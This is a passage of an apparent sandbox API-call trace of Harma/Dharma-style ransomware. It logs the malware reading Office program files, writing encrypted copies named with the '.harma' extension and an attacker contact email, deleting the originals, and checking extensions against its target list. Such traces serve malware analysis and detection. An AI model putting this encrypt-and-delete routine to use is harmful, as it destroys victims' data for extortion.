lpNumberOfBytesWritten=0x313fc9c*=0x280, lpOverlapped=0x0) returned 1 [0165.418] ReadFile (in: hFile=0x218, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0165.418] WriteFile (in: hFile=0x328, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0165.418] SetEndOfFile (hFile=0x328) returned 1 [0165.418] CloseHandle (hObject=0x328) returned 1 [0165.418] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0165.418] SetEndOfFile (hFile=0x218) returned 1 [0165.420] CloseHandle (hObject=0x218) returned 1 [0165.420] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0165.421] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_col.hxc")) returned 1 [0165.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC") returned 63 [0165.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC") returned 63 [0165.422] lstrlenW (lpString=".doc") returned 4 [0165.422] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0165.422] lstrlenW (lpString=".docx") returned 5 [0165.422] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0165.422] lstrlenW (lpString=".pdf") returned 4 [0165.422] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0165.422] lstrlenW (lpString=".xls") returned 4 [0165.422] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0165.422] lstrlenW (lpString=".xlsx") returned 5 [0165.422] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0165.422] lstrlenW (lpString=".ppt") returned 4 [0165.422] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0165.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC") returned 63 [0165.422] lstrlenW (lpString=".zip") returned 4 [0165.422] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0165.422] lstrlenW (lpString=".rar") returned 4 [0165.422] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0165.422] lstrlenW (lpString=".bz2") returned 4 [0165.422] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0165.422] lstrlenW (lpString=".7z") returned 3 [0165.422] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0165.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC") returned 63 [0165.422] lstrlenW (lpString=".dbf") returned 4 [0165.422] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0165.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC") returned 63 [0165.422] lstrlenW (lpString=".1cd") returned 4 [0165.422] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0165.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC") returned 63 [0165.422] lstrlenW (lpString=".jpg") returned 4 [0165.422] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0165.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC") returned 63 [0165.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC") returned 63 [0165.423] lstrlenW (lpString=".doc") returned 4 [0165.423] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0165.423] lstrlenW (lpString=".docx") returned 5 [0165.423] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0165.423] lstrlenW (lpString=".pdf") returned 4 [0165.423] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0165.423] lstrlenW (lpString=".xls") returned 4 [0165.423] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0165.423] lstrlenW (lpString=".xlsx") returned 5 [0165.423] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0165.423] lstrlenW (lpString=".ppt") returned 4 [0165.423] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0165.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC") returned 63 [0165.423] lstrlenW (lpString=".zip") returned 4 [0165.423] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0165.423] lstrlenW (lpString=".rar") returned 4 [0165.423] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0165.423] lstrlenW (lpString=".bz2") returned 4 [0165.423] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0165.423] lstrlenW (lpString=".7z") returned 3 [0165.423] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0165.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC") returned 63 [0165.423] lstrlenW (lpString=".dbf") returned 4 [0165.423] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0165.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC") returned 63 [0165.423] lstrlenW (lpString=".1cd") returned 4 [0165.423] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0165.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC") returned 63 [0165.424] lstrlenW (lpString=".jpg") returned 4 [0165.424] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0165.424] lstrcmpiW (lpString1=".HXT", lpString2=".harma") returned 1 [0165.424] lstrlenW (lpString="WINWORD_COL.HXT") returned 15 [0165.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0165.424] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=207) returned 1 [0165.424] CloseHandle (hObject=0x218) returned 1 [0165.425] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_col.hxt")) returned 0x20 [0165.425] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_col.hxt.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0165.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0165.425] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0165.425] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0165.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_col.hxt.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0165.588] GetLastError () returned 0x0 [0165.588] ReadFile (in: hFile=0x218, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0xcf, lpOverlapped=0x0) returned 1 [0165.589] WriteFile (in: hFile=0x208, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xd0, lpOverlapped=0x0) returned 1 [0165.590] ReadFile (in: hFile=0x218, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0165.590] WriteFile (in: hFile=0x208, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0165.590] SetEndOfFile (hFile=0x208) returned 1 [0165.590] CloseHandle (hObject=0x208) returned 1 [0165.590] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0165.590] SetEndOfFile (hFile=0x218) returned 1 [0165.593] CloseHandle (hObject=0x218) returned 1 [0165.593] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0165.628] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_col.hxt")) returned 1 [0165.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT") returned 63 [0165.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT") returned 63 [0165.629] lstrlenW (lpString=".doc") returned 4 [0165.629] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0165.629] lstrlenW (lpString=".docx") returned 5 [0165.629] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0165.629] lstrlenW (lpString=".pdf") returned 4 [0165.629] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0165.629] lstrlenW (lpString=".xls") returned 4 [0165.629] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0165.629] lstrlenW (lpString=".xlsx") returned 5 [0165.629] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0165.629] lstrlenW (lpString=".ppt") returned 4 [0165.629] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0165.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT") returned 63 [0165.629] lstrlenW (lpString=".zip") returned 4 [0165.629] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0165.629] lstrlenW (lpString=".rar") returned 4 [0165.629] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0165.630] lstrlenW (lpString=".bz2") returned 4 [0165.630] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0165.630] lstrlenW (lpString=".7z") returned 3 [0165.630] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0165.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT") returned 63 [0165.630] lstrlenW (lpString=".dbf") returned 4 [0165.630] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0165.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT") returned 63 [0165.630] lstrlenW (lpString=".1cd") returned 4 [0165.630] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0165.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT") returned 63 [0165.630] lstrlenW (lpString=".jpg") returned 4 [0165.630] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0165.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT") returned 63 [0165.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT") returned 63 [0165.630] lstrlenW (lpString=".doc") returned 4 [0165.630] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0165.630] lstrlenW (lpString=".docx") returned 5 [0165.630] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0165.630] lstrlenW (lpString=".pdf") returned 4 [0165.630] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0165.630] lstrlenW (lpString=".xls") returned 4 [0165.630] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0165.630] lstrlenW (lpString=".xlsx") returned 5 [0165.630] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0165.630] lstrlenW (lpString=".ppt") returned 4 [0165.630] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0165.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT") returned 63 [0165.630] lstrlenW (lpString=".zip") returned 4 [0165.630] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0165.630] lstrlenW (lpString=".rar") returned 4 [0165.631] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0165.631] lstrlenW (lpString=".bz2") returned 4 [0165.631] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0165.631] lstrlenW (lpString=".7z") returned 3 [0165.631] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0165.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT") returned 63 [0165.631] lstrlenW (lpString=".dbf") returned 4 [0165.631] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0165.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT") returned 63 [0165.631] lstrlenW (lpString=".1cd") returned 4 [0165.631] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0165.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT") returned 63 [0165.631] lstrlenW (lpString=".jpg") returned 4 [0165.631] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0165.631] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0165.631] lstrlenW (lpString="WWINTL.DLL") returned 10 [0165.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0165.632] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=901464) returned 1 [0165.632] CloseHandle (hObject=0x370) returned 1 [0165.632] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.dll")) returned 0x20 [0165.632] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0165.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL") returned 58 [0165.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL") returned 58 [0165.633] lstrlenW (lpString=".doc") returned 4 [0165.633] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0165.633] lstrlenW (lpString=".docx") returned 5 [0165.633] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0165.633] lstrlenW (lpString=".pdf") returned 4 [0165.633] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0165.633] lstrlenW (lpString=".xls") returned 4 [0165.633] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0165.633] lstrlenW (lpString=".xlsx") returned 5 [0165.633] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0165.633] lstrlenW (lpString=".ppt") returned 4 [0165.633] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0165.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL") returned 58 [0165.633] lstrlenW (lpString=".zip") returned 4 [0165.633] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0165.633] lstrlenW (lpString=".rar") returned 4 [0165.633] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0165.633] lstrlenW (lpString=".bz2") returned 4 [0165.634] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0165.634] lstrlenW (lpString=".7z") returned 3 [0165.634] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0165.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL") returned 58 [0165.634] lstrlenW (lpString=".dbf") returned 4 [0165.634] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0165.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL") returned 58 [0165.634] lstrlenW (lpString=".1cd") returned 4 [0165.634] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0165.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL") returned 58 [0165.634] lstrlenW (lpString=".jpg") returned 4 [0165.634] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0165.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL") returned 58 [0165.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL") returned 58 [0165.634] lstrlenW (lpString=".doc") returned 4 [0165.634] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0165.634] lstrlenW (lpString=".docx") returned 5 [0165.634] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0165.634] lstrlenW (lpString=".pdf") returned 4 [0165.634] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0165.634] lstrlenW (lpString=".xls") returned 4 [0165.634] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0165.634] lstrlenW (lpString=".xlsx") returned 5 [0165.634] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0165.634] lstrlenW (lpString=".ppt") returned 4 [0165.634] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0165.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL") returned 58 [0165.634] lstrlenW (lpString=".zip") returned 4 [0165.634] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0165.634] lstrlenW (lpString=".rar") returned 4 [0165.635] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0165.635] lstrlenW (lpString=".bz2") returned 4 [0165.635] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0165.635] lstrlenW (lpString=".7z") returned 3 [0165.635] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0165.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL") returned 58 [0165.635] lstrlenW (lpString=".dbf") returned 4 [0165.635] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0165.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL") returned 58 [0165.635] lstrlenW (lpString=".1cd") returned 4 [0165.635] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0165.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL") returned 58 [0165.635] lstrlenW (lpString=".jpg") returned 4 [0165.635] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0165.635] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".harma") returned 1 [0165.635] lstrlenW (lpString="WWINTL.DLL.IDX_DLL") returned 18 [0165.635] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.dll.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0165.636] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=108416) returned 1 [0165.636] CloseHandle (hObject=0x370) returned 1 [0165.636] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.dll.idx_dll")) returned 0x20 [0165.636] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.dll.idx_dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0165.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0165.636] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0165.636] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0165.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.dll.idx_dll.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0165.637] GetLastError () returned 0x0 [0165.637] ReadFile (in: hFile=0x370, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x1a780, lpOverlapped=0x0) returned 1 [0165.650] WriteFile (in: hFile=0x21c, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0x1a790, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0x1a790, lpOverlapped=0x0) returned 1 [0165.654] ReadFile (in: hFile=0x370, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0165.654] WriteFile (in: hFile=0x21c, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xf8, lpOverlapped=0x0) returned 1 [0165.654] SetEndOfFile (hFile=0x21c) returned 1 [0165.654] CloseHandle (hObject=0x21c) returned 1 [0165.654] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0165.654] SetEndOfFile (hFile=0x370) returned 1 [0165.659] CloseHandle (hObject=0x370) returned 1 [0165.659] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0165.660] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.dll.idx_dll")) returned 1 [0165.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL") returned 66 [0165.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL") returned 66 [0165.661] lstrlenW (lpString=".doc") returned 4 [0165.661] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0165.661] lstrlenW (lpString=".docx") returned 5 [0165.661] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0165.661] lstrlenW (lpString=".pdf") returned 4 [0165.661] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0165.661] lstrlenW (lpString=".xls") returned 4 [0165.661] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0165.661] lstrlenW (lpString=".xlsx") returned 5 [0165.661] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0165.661] lstrlenW (lpString=".ppt") returned 4 [0165.661] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0165.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL") returned 66 [0165.661] lstrlenW (lpString=".zip") returned 4 [0165.661] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0165.661] lstrlenW (lpString=".rar") returned 4 [0165.661] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0165.661] lstrlenW (lpString=".bz2") returned 4 [0165.662] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0165.662] lstrlenW (lpString=".7z") returned 3 [0165.662] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0165.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL") returned 66 [0165.662] lstrlenW (lpString=".dbf") returned 4 [0165.662] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0165.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL") returned 66 [0165.662] lstrlenW (lpString=".1cd") returned 4 [0165.662] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0165.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL") returned 66 [0165.662] lstrlenW (lpString=".jpg") returned 4 [0165.662] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0165.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL") returned 66 [0165.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL") returned 66 [0165.662] lstrlenW 